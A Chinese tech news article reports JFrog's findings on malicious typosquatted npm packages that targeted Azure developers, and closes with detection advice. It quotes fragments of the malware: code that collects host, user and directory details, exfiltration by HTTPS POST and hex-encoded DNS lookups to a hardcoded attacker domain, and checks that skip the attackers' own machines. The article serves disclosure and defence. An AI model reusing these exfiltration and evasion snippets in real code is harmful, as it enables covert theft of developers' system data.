200 多个 npm 包被攻击,Azure 开发者请注意!( 二 )

  • const td = { p: package, c: __dirname, hd: os.homedir, hn: os.hostname, un: os.userInfo.username, dns: JSON.stringify(dns.getServers), ip: JSON.stringify(gethttpips), dirs: JSON.stringify(getFiles(["C:\\","D:\\","/","/home"])), } 这些细节是主要通过两个途径泄露:
    1. HTTPS POST 到硬编码的主机名 —— “425a2.rt11.ml”
    2. DNS查询"<HEXSTR>.425a2.rt11.ml" , 其中<HEXSTR>被替换为已泄露的详细信息 , 并以十六进制字符串的形式串联在一起
    var hostname = "425a2.rt11.ml"; query_string=toHex(pkg.hn)+"."+toHex(pkg.p)+"."+toHex(pkg.un)+"."+getPathChunks(pkg.c)+"."+getIps+"."+hostname; ... dns.lookup(query_string) JFrog 怀疑 , 这种恶意有效载荷要么是为了在发送更牢固的有效载荷之前 , 对易受攻击的目标进行初步侦察 , 要么是作为针对 Azure 用户(可能还有微软的开发人员)的 bug 赏金猎杀尝试 。
    该代码还包含一组笨拙的测试 , 估计是为了确保恶意有效载荷不会在攻击者自己的机器上运行 。
    function isValid(hostname, path, username, dirs) { if (hostname == "DESKTOP-4E1IS0K" && username == "daasadmin" && path.startsWith('D:\\TRANSFER\\')) { return false; } ... else if (hostname == 'lili-pc') { return false; } ... else if (hostname == 'aws-7grara913oid5jsexgkq') { return false; } ... else if (hostname == 'instance') { return false; } ... return true; } 作为一名使用目标软件包的 Azure 开发者 , 应该怎么做?
    JFrog 表示 , 使用 JFrog Xray 的用户是受到保护的 , 任何在 Xray 中标记的恶意软件包都会被及时删除 , 所以不会受到这种攻击 。
    除此之外 , 开发者还可以通过检查软件包的名称是否以 @azure* 范围开头 , 以此确保安装的软件包是合法的 。
    例如 , 可以通过改变当前目录到开发者想测试的 npm 项目 , 并运行以下命令来完成:
    npm list | grep -f packages.txt 其中 "packages.txt "包含受影响软件包的完整列表(详见参考链接的附录A) 。
    如果发现任何的返回结果不是以"@azure*"范围开头 , 那么说明开发者可能已经受到了这种攻击的影响 。
    结论
    幸运的是 , 由于这些软件包很快就被发现和披露(大约在它们被发布后的2天内) , 因此它们并没有被大量安装 , 每个包的平均下载量只有 50 次左右 。
    npm 的维护者们显然也非常重视安全问题 , 采取了许多相关措施:为避免将来出现 typosquatting(误植域名) , 预先阻止特定的软件包名称;对主流软件包的维护者提出双因素认证要求等等 。
    参考链接:https://jfrog.com/blog/large-scale-npm-attack-targets-azure-developers-with-malicious-packages/
    END
    《 新程序员001-004 》全面上市 , 对话世界级大师 , 报道中国IT行业创新创造
    ? 潘爱民:计算机程序的演进——我的程序人生三十年
    ? 中兴获“自由” , 结束美国 5 年合规观察期!
    —点这里 ↓↓↓记得关注标星哦~—
    一键三连 「分享」「点赞」「在看」
    成就一亿技术人

    特别声明:本站内容均来自网友提供或互联网,仅供参考,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。